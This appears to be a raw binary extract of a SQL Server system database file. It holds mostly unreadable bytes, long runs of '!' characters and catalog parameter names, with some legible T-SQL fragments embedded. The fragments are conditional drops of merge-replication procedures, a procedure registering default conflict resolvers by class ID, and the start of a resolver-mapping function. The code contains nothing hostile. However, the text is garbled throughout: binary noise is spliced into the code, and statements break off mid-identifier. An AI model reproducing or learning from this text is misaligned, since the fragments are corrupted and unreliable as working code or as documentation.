Q@lock_acquired!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!gC>7`-Q
:)x
!j0-SBaA@owner0-SBa00O@full_or_fast0-SBahhS@shutdown_agent0-SBaK@table_name0-SBa	M@column_list0-SBa
Q@filter_clause0-vQ@source_schema0-vM@source_name0-	z88
K@EndpointID0-	zhhA@IsSSL0-	z?@Host0-	zM@QueryString0-	zI@UserAgent0-|Ocache_address0-|4=name0-|x4x=type0-|88
Ktable_level0-|88
Obuckets_count0-|88
]buckets_in_use_count0-|88
Ybuckets_min_length0-|88
Ybuckets_max_length0-|	88
Ybuckets_avg_length0-|
88
cbuckets_max_length_ever0-|Ihits_count0-|Mmisses_count0-|
88
kbuckets_avg_scan_hit_length0-|88
mbuckets_avg_scan_miss_length0-$$Egroup_id0-$$Wgroup_database_id0-4Odatabase_name0-C}G@password-0-?@type0-C@length0-?@prec0-88
A@scale0-hhG@nullable0-2=name0-288
Gobject_id0-288
Gschema_id0-244Uprocedure_number0-2=type0-2==Kcreate_date0-088
Isession_id0-088
Mphase_number0-0==Ientry_time0-088
Merror_number0-088
Qerror_severity0-088
Kerror_state0-04Oerror_message0-0040Gstart_lsn0-0	040Gbegin_lsn0-0
040Qsequence_value0-̐S@distributiondb0-0@G@procname0-[W88
A@objid0-[W88
?@type0-[W88
M@permissions!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!y2G

d

>s,

i
*
		+dc		ZYD?z+V},C`-^&)
=<(0-!E88
?pubid0-!EM@publication0-!EI@publisher0-!ES@publisher_type0-3IQ@database_name0-{R4Ocomponenttype0-{R4Ocomponentname0-{R$$?clsid0-{R4Efullpath0-{R4Cversion0-{R4Mmanufacturer0-{R88
Gcatalogid0-{R88
K@dumpsystem0-{R88
?@dbid0-{R88
C@fileid0-_44I@data_type0-_00K@best_match0-~aG@database0-~aM@data_folder0-~aI@data_file0-~a88
S@data_file_size0-~aK@log_folder0-~aG@log_file0-~a88
Q@log_file_size0-~a88
Y@min_distretention0-~a	88
Y@max_distretention0-~a
88
Y@history_retention0-~a88
Q@security_mode0-~aA@login0-~a
G@password0-~a88
K@createmode0-~ahhS@from_scripting0-@ibQworker_address0-@ibacomp_exec_ctxt_address0-@ibIec_address0-@ibQbroker_address0-@ibYtask_proxy_address0-@ibUmsqlxact_address!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!m
z

	u	*	QFcz3\>w(5`)-R
=)q
0&#0-</88
;cpu0-</88
?reads0-</88
Awrites0-</@@Esql_text0-</	Sclient_app_name0-</
Itsql_stack0-</88
Kpdw_node_id0-88
S@publication_id0-==?@time0-UQ@source_schema0-UM@source_name0-UW@capture_instance0-Uhh_@supports_net_changes0-UI@role_name0-UK@index_name0-U_@captured_column_list0-US@filegroup_name0-U	hhc@allow_partition_switch0-t6	C@server0-t6	O@remote_login0-t6	O@new_password0-t6	M@server_type0-N88
K@mapping_id0-NM@source_dbms0-N
S@source_version0-NM@source_type0-NY@source_length_min0-NY@source_length_max0-N_@source_precision_min0-N_@source_precision_max0-N	88
W@source_scale_min0-N
88
W@source_scale_max0-NhhU@source_nullable0-NW@destination_dbms0-N

]@destination_version0-NW@destination_type0-N[@destination_length0-Na@destination_precision0-N88
Y@destination_scale0-Nhh_@destination_nullable-88
0-I@ddloffset0-K@identifier0-h$O@process_name0-h$88
Q@queue_timeout0-h$hhI@no_result0-h$hh[@return_immediately0-h$M@DbPrincipal0-%88
I@tablenick0-#Q@source_object0-#O@source_owner0-88
I@tablenick0-$$E@rowguid-vhh0-vI@publisher0-vO@publisher_db0-vM@publication0-v$$A@pubid0-v$$A@subid0-v$$A@artid0-v88
A@objid!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!7B

_
.
Ru,vc
Z

	M	<Ohs v-w*Gm``Y-EL)x
@2G0-_M@publication0-_M@description0-_88
I@retention0-_I@sync_mode0-_
K@allow_push0-_
K@allow_pull0-_
U@allow_anonymous0-_
_@enabled_for_internet0-_	
a@centralized_conflicts0-_

U@dynamic_filters0-_
i@snapshot_in_defaultfolder0-_]@alt_snapshot_folder0-_
]@pre_snapshot_script0-__@post_snapshot_script0-_
Y@compress_snapshot0-_M@ftp_address0-_88
G@ftp_port0-_W@ftp_subdirectory0-_I@ftp_login0-_O@ftp_password0-_88
[@conflict_retention0-_
c@keep_partition_changes0-_
e@allow_subscription_copy0-_
a@allow_synctoalternate0-_g@validate_subscriber_info0-_
e@add_to_active_directory0-_88
_@max_concurrent_merge0-_88
w@max_concurrent_dynamic_snapshots0-_
_@use_partition_groups0-_u@publication_compatibility_level0-_88
Q@replicate_ddl0-_ 
}@allow_subscriber_initiated_snapshot0-_!
i@allow_web_synchronization0-_"e@web_synchronization_url0-_#
m@allow_partition_realignment0-_$a@retention_period_unit0-_%88
q@generation_leveling_threshold0-_&hhy@automatic_reinitialization_policy0-_'W@conflict_logging0-5I@publisher0-&M@publication0-&E@article0-&hhY@need_new_snapshot0-&hhg@need_reinit_subscription0-&hhi@force_invalidate_snapshot0-&hhi@force_reinit_subscription0-&hhK@check_only0-&hha@from_drop_publication0-&	I@publisher0-&
S@publisher_type0-&hhk@ignore_distributor_failure0-&I(G@job_type0-5]memory_clerk_address0-5x4x=type0-54=name0-544Qmemory_node_id0-5Epages_kb0-5ivirtual_memory_reserved_kb0-5kvirtual_memory_committed_kb0-5Uawe_allocated_kb0-5	gshared_memory_reserved_kb0-5
ishared_memory_committed_kb0-5Ypage_size_in_bytes0-5apage_allocator_address0-5
Mhost_address0-]
Ocache_address0-]
4=name0-]
x4x=type0-]
88
Ktable_level0-]
88
Obuckets_count0-]
88
]buckets_in_use_count0-
E@objname0-88
E@objtype0-88
A@flags0-E@objlist0-88
E@intrans!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`c`<(
;eTvag_dri', 'P') is not NULL
        drop procedure sys.sp_MSmakeorcheck_joinfilter_using_dri

    if object_id('sp_MSis_joinfilter_based_on_PK_UQ_constraints', 'P') is not NULL
        drop procedure sys.sp_MSis_joinfilter_based_on_PK_UQ_constraints

    if object_id('sp_MScheck_joinfilter_using_dri', 'P') is not NULL
        drop procedure sys.sp_MScheck_joinfilter_using_dri

    if object_id('sp_MSdetermine_logical_record_parents', 'P') is not NULL
        drop procedure sys.sp_MSdetermine_logical_record_parents

    if object_id('sp_MScreate_article_logical_record_views', 'P') is not NULL
        drop procedure sys.sp_MScreate_article_logical_record_views

    if object_id('sp_MSget_logical_record_children', 'P') is not NULL
        drop procedure sys.sp_MSget_logical_record_children

    if object_id('sp_MSregenerate_mergetriggers', 'P') is not NULL
        drop procedure sys.sp_MSregenerate_mergetriggers

    if object_id('sp_MSevaluate_logicalrecordparent_allcontentsrows', 'P') is not NULL
        drop procedure sys.sp_MSevaluate_logicalrecordparent_allcontentsrows

    if object_id('sp_MSevaluate_logicalrecordparent', 'P') is not NULL
        drop procedure sys.sp_MSevaluate_logicalrecordparent
   
    if object_id('sp_MSupdate_singlelogicalrecordmetadata', 'P') is not NULL
        drop procedure sys.sp_MSupdate_singlelogicalrecordmetadata       

    if object_id('sp_MScreatedummygeneration', 'P') is not NULL
        drop procedure sys.sp_MScreatedummygeneration 

    if object_id('sp_MSissubscriber_of_wellpartitionedarticle', 'P') is not NULL
        drop procedure sys.sp_MSissubscriber_of_wellpartitionedarticle      

    if object_id('sp_MSget_article_processing_order', 'P') is not NULL
        drop procedure sys.sp_MSget_article_processing_order

    if object_id('sp_MSget_dynamic_snapshot_location', 'P') is not NULL
        drop procedure sys.sp_MSget_dynamic_snapshot_location

    if object_id('sp_MSadd_dynamic_snapshot_location', 'P') is not NULL
        drop procedure sys.sp_MSadd_dynamic_snapshot_location

    if object_id('sp_MSclear_dynamic_snapshot_location', 'P') is not NULL
        drop procedure sys.sp_MSclear_dynamic_snapshot_location

    if object_id('sp_MSgetdynamicsnapshotapplock', 'P') is not NULL
        drop procedure sys.sp_MSgetdynamicsnapshotapplock

    if object_id('sp_MSreleasedynamicsnapshotapplock', 'P') is not NULL
        drop procedure sys.sp_MSreleasedynamicsnapshotapplock

    if object_id('sp_MSgetmergeadminapplock', 'P') is not NULL
        drop procedure sys.sp_MSgetmergeadminapplock

    if object_id('sp_MSreleasemergeadminapplock', 'P') is not NULL
        drop procedure sys.sp_MSreleasemergeadminapplock

    if object_id('sp_MSdrop_article_repl_view', 'P') is not NULL
        drop procedure sys.sp_MSdrop_article_repl_view

    if object_id('sp_MScreate_article_repl_view', 'P') is not NULL
        drop procedure sys.sp_MScreate_article_repl_view

    if object_id('sp_MScreate_all_article_repl_views', 'P') is not NULL
        drop procedure sys.sp_MScreate_all_article_repl_views

    if object_id('sp_MScreate_article_repl_views', 'P') is not NULL
        drop procedure sys.sp_MScreate_article_repl_views
        
    if object_id('sp_MSregenerate_mergetriggersprocs', 'P') is not NULL
        drop procedure sys.sp_MSregenerate_mergetriggersprocs

    if object_id('sp_MSchange_mergearticle', 'P') is not NULL
        drop procedure sys.sp_MSchange_mergearticle

    if object_id('sp_MSchange_mergepublication', 'P') is not NULL
        drop procedure sys.sp_MSchange_mergepublication

    if object_id('sp_MSrepl_getpkfkrelation', 'P') is not NULL
        drop procedure sys.sp_MSrepl_getpkfkrelation

    if object_id('sp_MScheck_dynamic_filters', 'P') is not NULL
        drop procedure sys.sp_MScheck_dynamic_filters

    if object_id('sp_check_dynamic_filters', 'P') is not NULL
        drop procedure sys.sp_check_dynamic_filters

    if object_id('sp_MSset_dynamic_filter_options', 'P') is not NULL
        drop procedure sys.sp_MSset_dynamic_filter_options

    if object_id('sp_MScheck_join_filters', 'P') is not NULL
        drop procedure sys.sp_MScheck_join_filters

    if object_id('sp_check_join_filter', 'P') is not NULL
        drop procedure sys.sp_check_join_filter

    if object_id('sp_MScheck_join_filter_circular_relations', 'P') is not NULL
        drop procedure sys.sp_MScheck_join_filter_circular_relations

    if object_id('sp_MScheck_blob_filter_columns', 'P') is not NULL
        drop procedure sys.sp_MScheck_blob_filter_columns

    if object_id('sp_MScheck_subset_filters', 'P') is not NULL
        drop procedure sys.sp_MScheck_subset_filters

    if object_id('sp_check_subset_filter', 'P') is not NULL
        drop procedure sys.sp_check_subset_filter

    if object_id('sp_MScheck_functions_indirectly_in_view', 'P') is not NULL
        drop procedure sys.sp_MScheck_functions_indirectly_in_view

    if object_id('sp_MScheck_functions_directly_in_view', 'P') is not NULL
        drop procedure sys.sp_MScheck_functions_directly_in_view

    if object_id('sp_MSget_distinct_semicolon_sep_items', 'P') is not NULL
        drop procedure sys.sp_MSget_distinct_semicolon_sep_items

    if object_id('sp_MSgetfilteringcolumns', 'P') is not NULL
        drop procedure sys.sp_MSgetfilteringcolumns

    if object_id('sp_MScheck_article_order', 'P') is not NULL
        drop procedure sys.sp_MScheck_article_order

    if object_id('sp_MSget_effective_pub_compat_level', 'P') is not NULL
        drop procedure sys.sp_MSget_effective_pub_compat_level

    if object_id('sp_MSmerge_validate_publication_presence', 'P') is not NULL
        drop procedure sys.sp_MSmerge_validate_publication_presence

    if object_id('sp_UDFhas_builtin_functions', 'P') is not NULL
        drop procedure sys.sp_UDFhas_builtin_functions

    if object_id('sp_MSget_DDL_after_regular_snapshot', 'P') is not NULL
        drop procedure sys.sp_MSget_DDL_after_regular_snapshot

    if object_id('sp_MScheck_subscription_expiry', 'P') is not NULL
        drop procedure sys.sp_MScheck_subscription_expiry

    if object_id('sp_replmonitorhelpmergesubscriptionmoreinfo', 'P') is not NULL
        drop procedure sys.sp_replmonitorhelpmergesubscriptionmoreinfo        

    if object_id('fn_MSmerge_isrepublisher', 'FN') is not NULL
        drop function sys.fn_MSmerge_isrepublisher

    if object_id('fn_MSmerge_get_syncview_name', 'FN') is not NULL
        drop function sys.fn_MSmerge_get_syncview_name

    if object_id('fn_MSmerge_islocalpubid', 'FN') is not NULL
        drop function sys.fn_MSmerge_islocalpubid

    if object_id('fn_MSmerge_islocalsubid', 'FN') is not NULL
        drop function sys.fn_MSmerge_islocalsubid

    if object_id('fn_MSmerge_mightneedrowtrackbcp', 'FN') is not NULL
        drop function sys.fn_MSmerge_mightneedrowtrackbcp

    if object_id('fn_MSmerge_hasdownloadonlyarticles', 'FN') is not NULL
        drop function sys.fn_MSmerge_hasdownloadonlyarticles

    if object_id('sp_MSrefresh_idrange_check_constraint', 'P') is not NULL
        drop procedure sys.sp_MSrefresh_idrange_check_constraint

    if object_id('sp_MScheck_publisher_range_refresh', 'P') is not NULL
        drop procedure sys.sp_MScheck_publisher_range_refresh

    if object_id('sp_MSrefresh_publisher_idrange', 'P') is not NULL
        drop procedure sys.sp_MSrefresh_publisher_idrange

    if object_id('sp_MSmerge_log_idrange_alloc_on_distributor', 'P') is not NULL
        drop procedure sys.sp_MSmerge_log_idrange_alloc_on_distributor

    if object_id('sp_MSget_max_used_identity_from_distributor', 'P') is not NULL
        drop procedure sys.sp_MSget_max_used_identity_from_distributor

    if object_id('sp_MSget_new_idrange', 'P') is not NULL
        drop procedure sys.sp_MSget_new_idrange

    if object_id('sp_MSallocate_one_i!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<(
<+$vcreate procedure sys.sp_MSrepl_register_default_resolvers
@distributiondb sysname
    AS
    declare @additive_resolver      sysname
    declare @average_resolver       sysname
    declare @mindate_resolver       sysname
    declare @maxdate_resolver       sysname
    declare @download_resolver      sysname
    declare @maximum_resolver       sysname
    declare @mergetxt_resolver      sysname
    declare @minimum_resolver       sysname
    declare @pricolumn_resolver     sysname
    declare @subwins_resolver       sysname
    declare @upload_resolver        sysname
    declare @sp_resolver            sysname
    declare @additive_resolver_clsid      nvarchar(60)
    declare @average_resolver_clsid       nvarchar(60)
    declare @mindate_resolver_clsid       nvarchar(60)
    declare @maxdate_resolver_clsid       nvarchar(60)
    declare @download_resolver_clsid      nvarchar(60)
    declare @maximum_resolver_clsid       nvarchar(60)
    declare @mergetxt_resolver_clsid      nvarchar(60)
    declare @minimum_resolver_clsid       nvarchar(60)
    declare @pricolumn_resolver_clsid     nvarchar(60)
    declare @subwins_resolver_clsid       nvarchar(60)
    declare @upload_resolver_clsid        nvarchar(60)
    declare @sp_resolver_clsid            nvarchar(60)
    declare @register_stmt                      nvarchar(1000)
    declare @retcode  int
    set @retcode = 0

    select @additive_resolver   = formatmessage(21701)
    select @average_resolver    = formatmessage(21702)
    select @mindate_resolver    = formatmessage(21703)
    select @maxdate_resolver    = formatmessage(21704)
    select @download_resolver   = formatmessage(21705)
    select @maximum_resolver    = formatmessage(21706)
    select @mergetxt_resolver   = formatmessage(21707)
    select @minimum_resolver    = formatmessage(21708)
    select @pricolumn_resolver  = formatmessage(21709)
    select @subwins_resolver    = formatmessage(21710)
    select @upload_resolver     = formatmessage(21711)
    select @sp_resolver         = formatmessage(21712)

    select @additive_resolver_clsid  = '{8FE7FF34-7C5D-4BE7-8056-ADB6D6F692DC}'
    select @average_resolver_clsid   = '{376F678E-4691-43E8-8AE7-DAD8CAA644EF}'
    select @mindate_resolver_clsid   = '{93277AB4-C338-48B8-9A4A-CA5A32587AB7}'
    select @maxdate_resolver_clsid   = '{7365BF95-62E8-4B72-A0F7-E238FE413DB7}'
    select @download_resolver_clsid  = '{3BB9F418-3407-4F5B-8DB3-9E9147C3A710}'
    select @maximum_resolver_clsid   = '{7365BF95-62E8-4B72-A0F7-E238FE413DB7}'
    select @mergetxt_resolver_clsid  = '{9DCD5250-86BB-433D-8C1F-561460105CF0}'
    select @minimum_resolver_clsid   = '{93277AB4-C338-48B8-9A4A-CA5A32587AB7}'
    select @pricolumn_resolver_clsid = '{7365BF95-62E8-4B72-A0F7-E238FE413DB7}'
    select @subwins_resolver_clsid   = '{77E52C5E-0016-4EDF-9391-8C07BFB668CE}'
    select @upload_resolver_clsid    = '{3D43EBE7-063C-4447-91E7-DE7A264C8441}'
    select @sp_resolver_clsid        = '{3BB074FA-0836-4A63-BE0C-AF49DDD42A1C}'

    if ((@distributiondb is null) or (@distributiondb = ''))
        return 1

    -- call sp_registercustomresolver in the distribution database context
    set @register_stmt =  'exec ' + QUOTENAME(@distributiondb) +'.sys.sp_registercustomresolver @additive_resolver, @additive_resolver_clsid'
    exec @retcode =  sp_executesql  @register_stmt, 
                                N'@additive_resolver sysname, @additive_resolver_clsid nvarchar(60)',
                                @additive_resolver, @additive_resolver_clsid                                       
    IF @@ERROR <> 0 or @retcode <> 0
    BEGIN
        RAISERROR (21715, 16, -1, @additive_resolver)
        return 1
    END

    set @register_stmt =  'exec ' + QUOTENAME(@distributiondb) +'.sys.sp_registercustomresolver  @average_resolver, @average_resolver_clsid'
    exec @retcode =  sp_executesql @register_stmt, 
                                N'@average_resolver sysname, @average_resolver_clsid nvarchar(60)',    
                                @average_resolver, @average_resolver_clsid
    IF @@ERROR <> 0 or @retcode <> 0
    BEGIN
        RAISERROR (21715, 16, -1, @average_resolver)
        return 1
    END

    set @register_stmt =  'exec ' + QUOTENAME(@distributiondb)+'.sys.sp_registercustomresolver  @mindate_resolver, @mindate_resolver_clsid'
    exec @retcode =  sp_executesql @register_stmt,
                                N'@mindate_resolver sysname, @mindate_resolver_clsid nvarchar(60)',    
                                @mindate_resolver, @mindate_resolver_clsid    
    IF @@ERROR <> 0 or @retcode <> 0
    BEGIN
        RAISERROR (21715, 16, -1, @mindate_resolver)
        return 1
    END

    set @register_stmt =  'exec ' + QUOTENAME(@distributiondb) +'.sys.sp_registercustomresolver  @maxdate_resolver, @maxdate_resolver_clsid'
    exec @retcode =  sp_executesql @register_stmt, 
                                N'@maxdate_resolver sysname, @maxdate_resolver_clsid nvarchar(60)',    
                                @maxdate_resolver, @maxdate_resolver_clsid
    IF @@ERROR <> 0 or @retcode <> 0
    BEGIN
        RAISERROR (21715, 16, -1, @maxdate_resolver)
        return 1
    END

    set @register_stmt =  'exec ' + QUOTENAME(@distributiondb) +'.sys.sp_registercustomresolver  @download_resolver, @download_resolver_clsid'
    exec @retcode =  sp_executesql @register_stmt, 
                                N'@download_resolver sysname, @download_resolver_clsid nvarchar(60)',    
                                @download_resolver, @download_resolver_clsid    
    IF @@ERROR <> 0 or @retcode <> 0
    BEGIN
        RAISERROR (21715, 16, -1, @download_resolver)
        return 1
    END

    set @register_stmt =  'exec ' + QUOTENAME(@distributiondb) +'.sys.sp_registercustomresolver   @maximum_resolver, @maximum_resolver_clsid'
    exec @retcode =  sp_executesql @register_stmt, 
                                N'@maximum_resolver sysname, @maximum_resolver_clsid nvarchar(60)',    
                                 @maximum_resolver, @maximum_resolver_clsid
    IF @@ERROR <> 0 or @retcode <> 0
    BEGIN
        RAISERROR (21715, 16, -1, @maximum_resolver)
        return 1
    END

    set @register_stmt =  'exec ' + QUOTENAME(@distributiondb) +'.sys.sp_registercustomresolver @mergetxt_resolver, @mergetxt_resolver_clsid'
    exec @retcode =  sp_executesql @register_stmt, 
                                N'@mergetxt_resolver sysname, @mergetxt_resolver_clsid nvarchar(60)',    
                                @mergetxt_resolver, @mergetxt_resolver_clsid    
    IF @@ERROR <> 0 or @retcode <> 0
    BEGIN
        RAISERROR (21715, 16, -1, @mergetxt_resolver)
        return 1
    END

    set @register_stmt =  'exec ' + QUOTENAME(@distributiondb) +'.sys.sp_registercustomresolver   @minimum_resolver, @minimum_resolver_clsid'
    exec @retcode =  sp_executesql  @register_stmt, 
                                N'@minimum_resolver sysname, @minimum_resolver_clsid nvarchar(60)',    
                                @minimum_resolver, @minimum_resolver_clsid    
    IF @@ERROR <> 0 or @retcode <> 0
    BEGIN
        RAISERROR (21715, 16, -1, @minimum_resolver)
        return 1
    END

    set @register_stmt =  'exec ' + QUOTENAME(@distributiondb) +'.sys.sp_registercustomresolver  @pricolumn_resolver, @pricolumn_resolver_clsid'
    exec @retcode =  sp_executesql @register_stmt, 
                                N'@pricolumn_resolver sysname, @pricolumn_resolver_clsid nvarchar(60)',    
                                @pricolumn_resolver, @pricolumn_resolver_clsid
    IF @@ERROR <> 0 or @retcode <> 0
    BEGIN
        RAISERROR (21715, 16, -1, @pricolumn_resolver)
        return 1
    END

    set @register_stmt =  'exec ' + QUOTENAME(@distributiondb) +'.sys.sp_registercustomresolver  @subwins_resolver, @subwins_resolver_clsid'
    exec @retc!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<(
<_v,
create function sys.fn_MSrepl_map_resolver_clsid (
    @compatibility_level  int,                      /* use 70 as the default compatibility level */
    @article_resolver  nvarchar(255),               /* article resolver name for verification purposes */
    @resolver_clsid  nvarchar(60)                   /* resolver class ID to be mapped */
    ) returns nvarchar(60)
    AS
    begin

    declare @additive_resolver_clsid    nvarchar(60)
    declare @average_resolver_clsid     nvarchar(60)
    declare @download_resolver_clsid    nvarchar(60)
    declare @max_resolver_clsid         nvarchar(60)
    declare @mergetxt_resolver_clsid    nvarchar(60)
    declare @min_resolver_clsid         nvarchar(60)
    declare @subwins_resolver_clsid     nvarchar(60)
    declare @upload_resolver_clsid      nvarchar(60)
    declare @sp_resolver_clsid          nvarchar(60)

